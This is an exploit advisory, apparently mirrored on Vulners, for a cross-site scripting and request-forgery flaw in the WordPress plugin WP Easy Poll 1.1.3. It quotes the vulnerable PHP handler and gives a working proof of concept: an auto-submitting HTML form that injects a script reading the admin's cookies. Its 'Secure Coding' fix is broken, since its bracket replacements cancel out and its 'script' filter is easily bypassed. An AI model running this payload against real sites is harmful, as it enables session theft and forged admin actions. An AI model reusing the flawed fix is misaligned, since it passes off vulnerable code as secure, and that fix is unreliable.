Vulners
Lucene search
WordPress Plugin WP Easy Poll 1.1.3 - Cross-Site Scripting / Cross-Site Request Forgery
Exploit Title: WP Easy Poll 1.1.3 XSS and CSRF
Exploit Author : Ahn Sung Jun
Date : 2015-12-09
Vendor Homepage : https://wordpress.org/plugins/wp-easy-poll-afo/
Software Link : https://downloads.wordpress.org/plugin/wp-easy-poll-afo.1.1.3.zip
Version : 1.1.3
Tested On : kail linux Iceweasel
===========================================
Vulnerable Code : wp_easy_poll.php
if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'p_add'){
global $wpdb;
$pc = new poll_class;
/* Line 859 */
$insert = array('p_ques' => $_REQUEST['p_ques'], 'p_author' => $_REQUEST['p_author'], 'p_start' => $_REQUEST['p_start'], 'p_end' => $_REQUEST['p_end'], 'p_added' => date("Y-m-d H:i:s"), 'p_status' => $_REQUEST['p_status']);
$wpdb->insert( $wpdb->prefix.$pc->table, $insert );
$new_poll_id = $wpdb->insert_id;
$p_anss = $_REQUEST['p_anss'];
if(is_array($p_anss) and $new_poll_id){
foreach($p_anss as $key => $value){
if($value != ''){
$insert1 = array('p_id' => $new_poll_id, 'a_ans' => $value, 'a_order' => $key+1);
$wpdb->insert( $wpdb->prefix.$pc->table2, $insert1 );
}
}
}
===========================================
POC (XSS & CSRF)
<html>
<body onload="javascript:document.forms[0].submit()">
<form name="f" action="http://192.168.0.8/wordpress/wp-admin/admin.php?page=easy_polls&action=add" method="post">
<input type="hidden" name="action" value="p_add" />
<input type="hidden" name="p_ques" value="<script>alert(document.cookie)</script>">
<input type="hidden" name="p_start" id="p_start" value="2015-11-18 22:55:52" required="required" />
<input type="hidden" name="p_end" id="p_end" value="2015-11-20 09:00:00" required="required"/>
<input type="submit" name="submit" value="Submit" class="button" />
</form>
</html>
===========================================
Secure Coding
if(isset($_REQUEST['action']) and $_REQUEST['action'] == 'p_add'){
global $wpdb;
$pc = new poll_class;
/* Secure Coding */
$_REQUEST['p_ques'] = str_replace("script", "x-script", $_REQUEST['p_ques']);
$_REQUEST['p_ques'] = str_replace("<", ">", $_REQUEST['p_ques']);
$_REQUEST['p_ques']= str_replace(">" ,"<", $_REQUEST['p_ques']);
$insert = array('p_ques' => $_REQUEST['p_ques'], 'p_author' => $_REQUEST['p_author'], 'p_start' => $_REQUEST['p_start'], 'p_end' => $_REQUEST['p_end'], 'p_added' => date("Y-m-d H:i:s"), 'p_status' => $_REQUEST['p_status']);
$wpdb->insert( $wpdb->prefix.$pc->table, $insert );
$new_poll_id = $wpdb->insert_id;
$p_anss = $_REQUEST['p_anss'];
if(is_array($p_anss) and $new_poll_id){
foreach($p_anss as $key => $value){
if($value != ''){
$insert1 = array('p_id' => $new_poll_id, 'a_ans' => $value, 'a_order' => $key+1);
$wpdb->insert( $wpdb->prefix.$pc->table2, $insert1 );
}
}
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 Dec 2015 00:00Current
7.4High risk
Vulners AI Score7.4